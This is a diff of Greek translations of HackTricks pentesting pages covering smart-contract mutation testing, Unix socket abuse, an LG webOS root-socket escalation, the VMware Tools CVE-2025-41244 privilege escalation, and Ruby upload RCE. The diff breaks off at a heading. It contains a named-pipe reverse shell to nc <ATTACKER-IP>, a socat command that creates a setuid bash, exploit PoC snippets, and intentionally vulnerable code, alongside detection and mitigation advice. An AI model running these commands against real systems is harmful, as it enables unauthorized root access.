- `UNCAUGHT` σημαίνει ότι τα tests πέρασαν υπό τη μεταλλαγμένη συμπεριφορά → έλλειψη assertion.
|
||||
|
||||
## Μείωση χρόνου εκτέλεσης: προτεραιοποίηση σημαντικών mutants
|
||||
## Μείωση χρόνου εκτέλεσης: προτεραιοποιήστε τις πιο επιδραστικές μεταλλάξεις
|
||||
|
||||
Mutation campaigns μπορεί να διαρκέσουν ώρες ή ημέρες. Συμβουλές για μείωση κόστους:
|
||||
- Scope: Ξεκινήστε μόνο με κρίσιμα contracts/καταλόγους, μετά επεκταθείτε.
|
||||
Οι εκστρατείες μεταλλάξεων μπορεί να διαρκέσουν ώρες ή ημέρες. Συμβουλές για μείωση κόστους:
|
||||
- Scope: Ξεκινήστε μόνο με κρίσιμα contracts/directories, μετά επεκταθείτε.
|
||||
- Προτεραιοποιήστε mutators: Αν ένας high-priority mutant σε μια γραμμή επιβιώσει (π.χ., ολόκληρη γραμμή σχολιασμένη), μπορείτε να παραλείψετε παραλλαγές χαμηλότερης προτεραιότητας για εκείνη τη γραμμή.
|
||||
- Παράλληλες δοκιμές αν ο runner σας το επιτρέπει; cache dependencies/builds.
|
||||
- Fail-fast: σταματήστε νωρίς όταν μια αλλαγή δείχνει σαφώς κενό assertion.
|
||||
- Παράλληλη εκτέλεση tests αν ο runner σας το επιτρέπει· cache dependencies/builds.
|
||||
- Fail-fast: σταματήστε νωρίς όταν μια αλλαγή επιδεικνύει ξεκάθαρα κενό assertions.
|
||||
|
||||
## Ροή εργασίας triage για τους επιζώντες mutants
|
||||
## Ροή αξιολόγησης για επιζώντες mutants
|
||||
|
||||
1) Εξετάστε τη μεταλλαγμένη γραμμή και τη συμπεριφορά.
|
||||
- Αναπαράγετε το τοπικά εφαρμόζοντας τη μεταλλαγμένη γραμμή και τρέχοντας ένα στοχευμένο test.
|
||||
- Αναπαραγάγετε τοπικά εφαρμόζοντας τη μεταλλαγμένη γραμμή και τρέχοντας ένα στοχευμένο test.
|
||||
|
||||
2) Ενισχύστε τα tests ώστε να assert-άρουν την κατάσταση, όχι μόνο τις τιμές επιστροφής.
|
||||
- Προσθέστε equality-boundary checks (π.χ., test threshold `==`).
|
||||
2) Ενισχύστε τα tests ώστε να ελέγχουν κατάσταση, όχι μόνο τιμές επιστροφής.
|
||||
- Προσθέστε ελέγχους ορίων ισότητας (π.χ., test threshold `==`).
|
||||
- Assert post-conditions: balances, total supply, authorization effects, και emitted events.
|
||||
|
||||
3) Αντικαταστήστε υπερβολικά επιεικείς mocks με ρεαλιστική συμπεριφορά.
|
||||
- Βεβαιωθείτε ότι τα mocks επιβάλλουν transfers, failure paths, και event emissions που συμβαίνουν on-chain.
|
||||
|
||||
4) Προσθέστε invariants για fuzz tests.
|
||||
- Π.χ., conservation of value, μη αρνητικά balances, authorization invariants, μονοτονική supply όπου εφαρμόζεται.
|
||||
- Π.χ., conservation of value, μη αρνητικά balances, authorization invariants, monotonic supply όπου εφαρμόζεται.
|
||||
|
||||
5) Τρέξτε ξανά slither-mutate μέχρι οι επιζώντες να εξαλειφθούν ή να δικαιολογηθούν ρητά.
|
||||
5) Ξανατρέξτε slither-mutate μέχρι οι επιζήσαντες να εξουδετερωθούν ή να δικαιολογηθούν ρητά.
|
||||
|
||||
## Μελέτη περίπτωσης: αποκάλυψη ελλείπων assertions κατάστασης (Arkis protocol)
|
||||
## Μελέτη περίπτωσης: αποκάλυψη ελλειπόντων assertions κατάστασης (πρωτόκολλο Arkis)
|
||||
|
||||
Μια mutation campaign κατά τη διάρκεια ενός audit του Arkis DeFi protocol ανέδειξε επιζώντες όπως:
|
||||
Μια εκστρατεία μεταλλάξεων κατά τη διάρκεια ενός audit του πρωτοκόλλου Arkis DeFi ανέδειξε επιζήσαντες όπως:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Ο σχολιασμός της ανάθεσης δεν έσπασε τα tests, αποδεικνύοντας την έλλειψη post-state assertions. Βασική αιτία: ο κώδικας εμπιστεύτηκε μια από τον χρήστη ελεγχόμενη `_cmd.value` αντί να επικυρώνει τις πραγματικές μεταφορές token. An attacker could desynchronize expected vs. actual transfers to drain funds. Αποτέλεσμα: κίνδυνος υψηλής σοβαρότητας για τη φερεγγυότητα του πρωτοκόλλου.
|
||||
Το σχολιασμό της ανάθεσης δεν προκάλεσε αποτυχία στα tests, αποδεικνύοντας την απουσία επιβεβαιώσεων μετά-κατάστασης. Βασική αιτία: ο κώδικας εμπιστευόταν ένα χειρισμένο από τον χρήστη `_cmd.value` αντί να επικυρώνει τις πραγματικές μεταφορές token. Ένας επιτιθέμενος θα μπορούσε να αποσυντονίσει τις αναμενόμενες έναντι των πραγματικών μεταφορών για να στραγγίξει κεφάλαια. Αποτέλεσμα: υψηλής σοβαρότητας κίνδυνος για τη φερεγγυότητα του πρωτοκόλλου.
|
||||
|
||||
Οδηγίες: Θεωρείτε τους survivors που επηρεάζουν μεταφορές αξίας, λογιστική ή access control ως υψηλού ρίσκου μέχρι να εξουδετερωθούν.
|
||||
Κατευθυντήριες οδηγίες: Θεωρήστε ως υψηλού κινδύνου τους επιζώντες που επηρεάζουν μεταφορές αξίας, λογιστική ή έλεγχο πρόσβασης μέχρι να εξουδετερωθούν.
|
||||
|
||||
## Πρακτική λίστα ελέγχου
|
||||
## Πρακτικός κατάλογος ελέγχου
|
||||
|
||||
- Εκτελέστε μια στοχευμένη εκστρατεία:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- Κατηγοριοποιήστε τους επιζώντες και γράψτε tests/invariants που θα απέτυχαν υπό τη μεταλλαγμένη συμπεριφορά.
|
||||
- Επιβεβαιώστε τα υπόλοιπα, το supply, τις εξουσιοδοτήσεις και τα events.
|
||||
- Προσθέστε boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Κάντε ταξινόμηση (triage) των επιζώντων και γράψτε tests/invariants που θα απέτυχαν υπό τη μεταλλαγμένη συμπεριφορά.
|
||||
- Επαληθεύστε υπόλοιπα, συνολική προσφορά, εξουσιοδοτήσεις και γεγονότα.
|
||||
- Προσθέστε δοκιμές ορίων (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Αντικαταστήστε μη ρεαλιστικά mocks· προσομοιώστε σενάρια αποτυχίας.
|
||||
- Επαναλάβετε μέχρι όλοι οι mutants να εξουδετερωθούν ή να δικαιολογηθούν με σχόλια και αιτιολόγηση.
|
||||
- Επαναλάβετε μέχρι όλες οι μεταλλάξεις να εξαλειφθούν ή να δικαιολογηθούν με σχόλια και αιτιολόγηση.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Socket binding example with Python
|
||||
## Παράδειγμα σύνδεσης Socket με Python
|
||||
|
||||
Στο παρακάτω παράδειγμα δημιουργείται ένας **unix socket** (`/tmp/socket_test.s`) και ό,τι **λαμβάνεται** θα **εκτελείται** από `os.system`. Ξέρω ότι δεν θα βρείτε κάτι τέτοιο στην άγρια φύση, αλλά ο στόχος αυτού του παραδείγματος είναι να δείξει πώς μοιάζει κώδικας που χρησιμοποιεί unix sockets και πώς να χειριστείτε την είσοδο στην χειρότερη δυνατή περίπτωση.
|
||||
Στο ακόλουθο παράδειγμα δημιουργείται ένας **unix socket** (`/tmp/socket_test.s`) και οτιδήποτε **λαμβάνεται** θα **εκτελεστεί** από την `os.system`. Ξέρω ότι δεν θα βρείτε κάτι τέτοιο στο wild, αλλά ο σκοπός αυτού του παραδείγματος είναι να δείξει πώς μοιάζει ένας κώδικας που χρησιμοποιεί unix sockets και πώς να χειριστείτε την είσοδο στη χειρότερη δυνατή περίπτωση.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -26,7 +26,7 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**Εκτέλεσε** τον κώδικα χρησιμοποιώντας python: `python s.py` και **έλεγξε πώς ακούει το socket**:
|
||||
**Εκτελέστε** τον κώδικα χρησιμοποιώντας python: `python s.py` και **ελέγξτε πώς ακούει το socket**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
|
||||
```
|
||||
## Μελέτη περίπτωσης: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
|
||||
Μερικά privileged daemons εκθέτουν ένα root-owned UNIX socket που δέχεται untrusted input και συζεύγνυει privileged actions με thread-IDs και signals. Αν το protocol επιτρέπει σε έναν unprivileged client να επηρεάσει ποιο native thread στοχεύεται, μπορεί να καταφέρετε να ενεργοποιήσετε ένα privileged code path και να escalate.
|
||||
|
||||
Observed pattern:
|
||||
- Συνδεθείτε σε έναν root-owned socket (e.g., /tmp/remotelogger).
|
||||
- Συνδεθείτε σε ένα root-owned socket (π.χ., /tmp/remotelogger).
|
||||
- Δημιουργήστε ένα thread και αποκτήστε το native thread id (TID).
|
||||
- Στείλτε το TID (packed) μαζί με padding ως αίτημα; λάβετε ένα acknowledgement.
|
||||
- Deliver a specific signal to that TID to trigger the privileged behaviour.
|
||||
- Στείλτε το TID (packed) μαζί με padding ως request; λάβετε ένα acknowledgement.
|
||||
- Στείλτε ένα συγκεκριμένο signal σε εκείνο το TID για να ενεργοποιήσετε το privileged behaviour.
|
||||
|
||||
Minimal PoC sketch:
|
||||
```python
|
||||
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
Για να το μετατρέψετε σε root shell, μπορεί να χρησιμοποιηθεί ένα απλό named-pipe + nc pattern:
|
||||
Για να το μετατρέψετε σε root shell, μπορεί να χρησιμοποιηθεί ένα απλό named-pipe + nc μοτίβο:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Αυτή η κατηγορία σφαλμάτων προκύπτει από την εμπιστοσύνη σε τιμές που προέρχονται από μη προνομιακή κατάσταση πελάτη (TIDs) και τη δέσμευσή τους σε privileged signal handlers ή λογική.
|
||||
- Ενισχύστε την ασφάλεια επιβάλλοντας έλεγχο διαπιστευτηρίων στο socket, επικυρώνοντας τις μορφές μηνυμάτων και αποσυνδέοντας privileged operations από εξωτερικά παρεχόμενα thread identifiers.
|
||||
- Αυτή η κατηγορία σφαλμάτων προκύπτει από την εμπιστοσύνη σε τιμές που προέρχονται από μη προνομιακή κατάσταση του client (TIDs) και τη σύνδεσή τους με προνομιακούς χειριστές σημάτων ή λογική.
|
||||
- Ενισχύστε την ασφάλεια εφαρμόζοντας διαπιστευτήρια στο socket, επικυρώνοντας τις μορφές μηνυμάτων και αποσυνδέοντας προνομιακές λειτουργίες από εξωτερικά παρεχόμενα αναγνωριστικά νημάτων.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -1,23 +1,23 @@
|
||||
# VMware Tools service discovery LPE (CWE-426) μέσω ανίχνευσης δυαδικών αρχείων βασισμένης σε regex (CVE-2025-41244)
|
||||
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η τεχνική καταχράται pipelines ανίχνευσης υπηρεσιών που καθοδηγούνται από regex και αναλύουν τις γραμμές εντολών των διεργασιών για να υπολογίσουν εκδόσεις υπηρεσιών και στη συνέχεια εκτελούν ένα υποψήφιο binary με ένα flag "version". Όταν επιτρεπτικά patterns αποδέχονται μη αξιόπιστες, ελεγχόμενες από τον attacker διαδρομές (π.χ. /tmp/httpd), ο privileged collector εκτελεί οποιοδήποτε δυαδικό από μη αξιόπιστη τοποθεσία, οδηγώντας σε τοπική κλιμάκωση προνομίων. NVISO τεκμηρίωσε αυτό στο VMware Tools/Aria Operations Service Discovery ως CVE-2025-41244.
|
||||
Αυτή η τεχνική εκμεταλλεύεται regex-driven service discovery pipelines που αναλύουν τις εντολές των τρεχόντων processes για να συναγάγουν εκδόσεις υπηρεσιών και στη συνέχεια εκτελούν ένα υποψήφιο binary με ένα "version" flag. Όταν permissive patterns αποδέχονται μη αξιόπιστες, από τον attacker ελεγχόμενες διαδρομές (π.χ., /tmp/httpd), ο privileged collector εκτελεί αυθαίρετο binary από μη αξιόπιστη τοποθεσία, οδηγώντας σε τοπική ανύψωση προνομίων. Η NVISO το τεκμηρίωσε αυτό στο VMware Tools/Aria Operations Service Discovery ως CVE-2025-41244.
|
||||
|
||||
- Επιπτώσεις: Τοπική κλιμάκωση προνομίων σε root (ή στον privileged discovery account)
|
||||
- Αιτία ρίζας: Untrusted Search Path (CWE-426) + permissive regex matching των γραμμών εντολών διεργασιών
|
||||
- Επηρεαζόμενα: open-vm-tools/VMware Tools σε Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery μέσω Tools/proxy)
|
||||
- Επιπτώσεις: Τοπική ανύψωση προνομίων σε root (ή στον λογαριασμό ανακάλυψης με προνόμια)
|
||||
- Βασική αιτία: Untrusted Search Path (CWE-426) + permissive regex matching των command lines των processes
|
||||
- Επηρεαζόμενα: open-vm-tools/VMware Tools σε Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## Πώς λειτουργεί η ανίχνευση υπηρεσιών VMware (σε υψηλό επίπεδο)
|
||||
## Πώς λειτουργεί το VMware service discovery (σε υψηλό επίπεδο)
|
||||
|
||||
- Credential-based (legacy): Aria εκτελεί discovery scripts μέσα στο guest μέσω VMware Tools χρησιμοποιώντας διαμορφωμένα privileged credentials.
|
||||
- Credential-less (modern): Η λογική ανακάλυψης τρέχει εντός του VMware Tools, ήδη privileged μέσα στο guest.
|
||||
- Credential-based (legacy): Το Aria εκτελεί discovery scripts εντός του guest μέσω VMware Tools χρησιμοποιώντας διαμορφωμένα privileged credentials.
|
||||
- Credential-less (modern): Η λογική discovery τρέχει μέσα στο VMware Tools, ήδη με προνόμια εντός του guest.
|
||||
|
||||
Και οι δύο λειτουργίες τελικά τρέχουν shell λογική που σαρώνει διεργασίες με listening sockets, εξάγει ένα matching command path μέσω regex, και εκτελεί το πρώτο argv token με ένα version flag.
|
||||
Και οι δύο λειτουργίες τελικώς τρέχουν shell logic που σκανάρει processes με listening sockets, εξάγει ένα matching command path μέσω regex, και εκτελεί το πρώτο argv token με ένα version flag.
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
## Βασική αιτία και ευπαθές μοτίβο (open-vm-tools)
|
||||
|
||||
Στο open-vm-tools, το serviceDiscovery plugin script get-versions.sh ταιριάζει υποψήφια binaries χρησιμοποιώντας ευρείες regular expressions και εκτελεί το πρώτο token χωρίς καμία trusted-path validation:
|
||||
Στο open-vm-tools, το serviceDiscovery plugin script get-versions.sh ταιριάζει υποψήφια binaries χρησιμοποιώντας ευρείες regular expressions και εκτελεί το πρώτο token χωρίς οποιονδήποτε έλεγχο trusted-path:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
done
|
||||
}
|
||||
```
|
||||
Καλείται με επιτρεπτικά πρότυπα που περιέχουν \S (μη-διάστημα) και που θα ταιριάξουν άνετα με μη-συστημικές διαδρομές σε τοποθεσίες εγγράψιμες από τον χρήστη:
|
||||
Εκκινείται με επιτρεπτικά μοτίβα που περιέχουν \S (non-whitespace) τα οποία θα ταιριάξουν εύκολα μη-συστημικές διαδρομές σε τοποθεσίες όπου ο χρήστης έχει δικαίωμα εγγραφής:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- Η εξαγωγή χρησιμοποιεί grep -Eo και παίρνει το πρώτο token: ${COMMAND%%[[:space:]]*}
|
||||
- Δεν υπάρχει whitelist/allowlist trusted system paths· οποιοσδήποτε discovered listener με matching name εκτελείται με -v/--version
|
||||
- Δεν υπάρχει whitelist/allowlist των trusted system paths· όποιος discovered listener έχει matching όνομα εκτελείται με -v/--version
|
||||
|
||||
Αυτό δημιουργεί ένα untrusted search path execution primitive: arbitrary binaries που βρίσκονται σε world-writable directories (π.χ. /tmp/httpd) εκτελούνται από ένα privileged component.
|
||||
Αυτό δημιουργεί ένα untrusted search path execution primitive: αυθαίρετα binaries που βρίσκονται σε world-writable directories (π.χ. /tmp/httpd) εκτελούνται από ένα privileged component.
|
||||
|
||||
## Εκμετάλλευση (και στις δύο λειτουργίες credential-less και credential-based)
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
|
||||
Προϋποθέσεις
|
||||
Preconditions
|
||||
- Μπορείτε να τρέξετε μια unprivileged διαδικασία που ανοίγει ένα listening socket στο guest.
|
||||
- Το discovery job είναι ενεργοποιημένο και τρέχει περιοδικά (ιστορικά ~5 λεπτά).
|
||||
- Το discovery job είναι ενεργοποιημένο και τρέχει περιοδικά (ιστορικά ~5 minutes).
|
||||
|
||||
Βήματα
|
||||
1) Τοποθετήστε/stage ένα binary σε ένα path που ταιριάζει με ένα από τα permissive regexes, π.χ. /tmp/httpd ή ./nginx
|
||||
2) Τρέξτε το ως low-privileged user και βεβαιωθείτε ότι ανοίγει κάποιο listening socket
|
||||
Steps
|
||||
1) Stage ένα binary σε μια διαδρομή που ταιριάζει με ένα από τα permissive regexes, π.χ. /tmp/httpd ή ./nginx
|
||||
2) Τρέξτε το ως low-privileged user και βεβαιωθείτε ότι ανοίγει κάποιο listening socket
|
||||
3) Περιμένετε τον discovery cycle· ο privileged collector θα εκτελέσει αυτόματα: /tmp/httpd -v (ή παρόμοιο), τρέχοντας το πρόγραμμά σας ως root
|
||||
|
||||
Ελάχιστο demo (using NVISO’s approach)
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
@ -65,61 +65,61 @@ chmod +x /tmp/httpd
|
||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
Τυπική ακολουθία διεργασιών
|
||||
- Με διαπιστευτήρια: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Χωρίς διαπιστευτήρια: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
Τυπική αλυσίδα διεργασιών
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
Τεκμήρια (με διαπιστευτήρια)
|
||||
Ανακτημένα SDMP wrapper scripts κάτω από /tmp/VMware-SDMP-Scripts-{UUID}/ μπορεί να δείχνουν άμεση εκτέλεση της κακόβουλης διαδρομής:
|
||||
Αρχεία (credential-based)
|
||||
Ανακτημένα SDMP wrapper scripts κάτω από /tmp/VMware-SDMP-Scripts-{UUID}/ μπορεί να δείχνουν άμεση εκτέλεση του rogue path:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## Γενικεύοντας την τεχνική: regex-driven discovery abuse (portable pattern)
|
||||
## Γενίκευση της τεχνικής: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Many agents and monitoring suites implement version/service discovery by:
|
||||
- Enumerating processes with listening sockets
|
||||
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
|
||||
- Executing the matched path with a benign flag like -v, --version, -V, -h
|
||||
|
||||
Αν το regex αποδέχεται μη αξιόπιστα paths και το path εκτελείται από περιβάλλον με προνόμια, προκύπτει CWE-426 Untrusted Search Path execution.
|
||||
If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
|
||||
|
||||
Abuse recipe
|
||||
- Ονομάστε το binary σας όπως συνήθεις daemons που το regex πιθανότατα θα ταιριάξει: httpd, nginx, mysqld, dataserver
|
||||
- Τοποθετήστε το σε writable directory: /tmp/httpd, ./nginx
|
||||
- Βεβαιωθείτε ότι ταιριάζει στο regex και ανοίγει οποιαδήποτε port για να εντοπιστεί
|
||||
- Περιμένετε τον scheduled collector· θα λάβετε μια αυτόματη privileged invocation του <path> -v
|
||||
- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
|
||||
- Place it in a writable directory: /tmp/httpd, ./nginx
|
||||
- Ensure it matches the regex and opens any port to be enumerated
|
||||
- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
|
||||
|
||||
Masquerading note: Αυτό ευθυγραμμίζεται με MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) για να αυξήσει την πιθανότητα ταύτισης και τη stealth.
|
||||
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
|
||||
|
||||
Επαναχρησιμοποιήσιμο κόλπο privileged I/O relay
|
||||
- Κατασκευάστε τον helper σας έτσι ώστε κατά την privileged invocation (-v/--version) να συνδέεται σε γνωστό rendezvous (π.χ. ένα Linux abstract UNIX socket όπως @cve) και να γεφυρώνει stdio σε /bin/sh -i. Αυτό αποφεύγει on-disk artifacts και δουλεύει σε πολλά περιβάλλοντα όπου το ίδιο binary επανεκκινείται με flag.
|
||||
Reusable privileged I/O relay trick
|
||||
- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
|
||||
|
||||
## Detection and DFIR guidance
|
||||
## Ανίχνευση και οδηγίες DFIR
|
||||
|
||||
Ερωτήματα αναζήτησης
|
||||
- Μη συνηθισμένα children του vmtoolsd ή get-versions.sh όπως /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- Οποιαδήποτε εκτέλεση μη-system absolute paths από discovery scripts (ψάξτε για spaces σε ${COMMAND%%...} expansions)
|
||||
- ps -ef --forest για οπτικοποίηση δέντρων καταγωγής: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
Hunting queries
|
||||
- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
|
||||
- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- Εξετάστε /tmp/VMware-SDMP-Scripts-{UUID}/ για transient scripts και stdout/stderr artifacts που δείχνουν εκτέλεση attacker paths
|
||||
- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
|
||||
|
||||
Πολιτική/τηλεμετρία
|
||||
- Ειδοποιήστε όταν privileged collectors εκτελούνται από μη-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- File integrity monitoring για get-versions.sh και VMware Tools plugins
|
||||
Policy/telemetry
|
||||
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- File integrity monitoring on get-versions.sh and VMware Tools plugins
|
||||
|
||||
## Mitigations
|
||||
## Αντιμετώπιση
|
||||
|
||||
- Patch: Εφαρμόστε Broadcom/VMware updates για CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Απενεργοποιήστε ή περιορίστε credential-less discovery όπου είναι εφικτό
|
||||
- Επικυρώστε trusted paths: περιορίστε την εκτέλεση σε allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) και μόνο σε ακριβή γνωστά binaries
|
||||
- Αποφύγετε permissive regexes με \S; προτιμήστε anchored, explicit absolute paths και exact command names
|
||||
- Χαμηλώστε προνόμια για discovery helpers όπου είναι δυνατό· sandbox (seccomp/AppArmor) για μείωση επιπτώσεων
|
||||
- Παρακολουθήστε και ειδοποιήστε για vmtoolsd/get-versions.sh που εκτελούν non-system paths
|
||||
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Disable or restrict credential-less discovery where feasible
|
||||
- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
|
||||
- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
|
||||
- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
|
||||
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
|
||||
|
||||
## Σημειώσεις για υπερασπιστές και υλοποιητές
|
||||
|
||||
Πιο ασφαλές μοτίβο matching και execution
|
||||
Safer matching and execution pattern
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
@ -137,8 +137,8 @@ esac
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [NVISO – Το ονομάζετε, το VMware το ανεβάζει (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Ανακοίνωση Broadcom για το CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
@ -1,49 +1,49 @@
|
||||
# Ruby Tricks
|
||||
# Ruby Κόλπα
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File upload to RCE
|
||||
## Ανέβασμα αρχείου προς RCE
|
||||
|
||||
Όπως εξηγείται στο [this article](https://www.offsec.com/blog/cve-2024-46986/), η μεταφόρτωση ενός `.rb` αρχείου σε ευαίσθητους καταλόγους όπως `config/initializers/` μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
|
||||
Όπως εξηγείται στο [this article](https://www.offsec.com/blog/cve-2024-46986/), το ανέβασμα ενός `.rb` αρχείου σε ευαίσθητους φακέλους όπως `config/initializers/` μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
|
||||
|
||||
Συμβουλές:
|
||||
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες αν είναι εγγράψιμες (π.χ., `config/initializers/` είναι το κλασικό παράδειγμα). Αν βρείτε μια αυθαίρετη μεταφόρτωση αρχείου που καταλήγει οπουδήποτε κάτω από το `config/` και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
|
||||
- Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στο container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.
|
||||
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες όταν είναι εγγράψιμες (π.χ., `config/initializers/` είναι το κλασικό παράδειγμα). Αν βρείτε ένα arbitrary file upload που τοποθετείται οπουδήποτε κάτω από το `config/` και αργότερα αξιολογείται/require-άρεται, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
|
||||
- Ψάξτε για dev/staging builds που αντιγράφουν user-controlled files μέσα στην εικόνα του container όπου το Rails θα τα φορτώσει στην εκκίνηση.
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
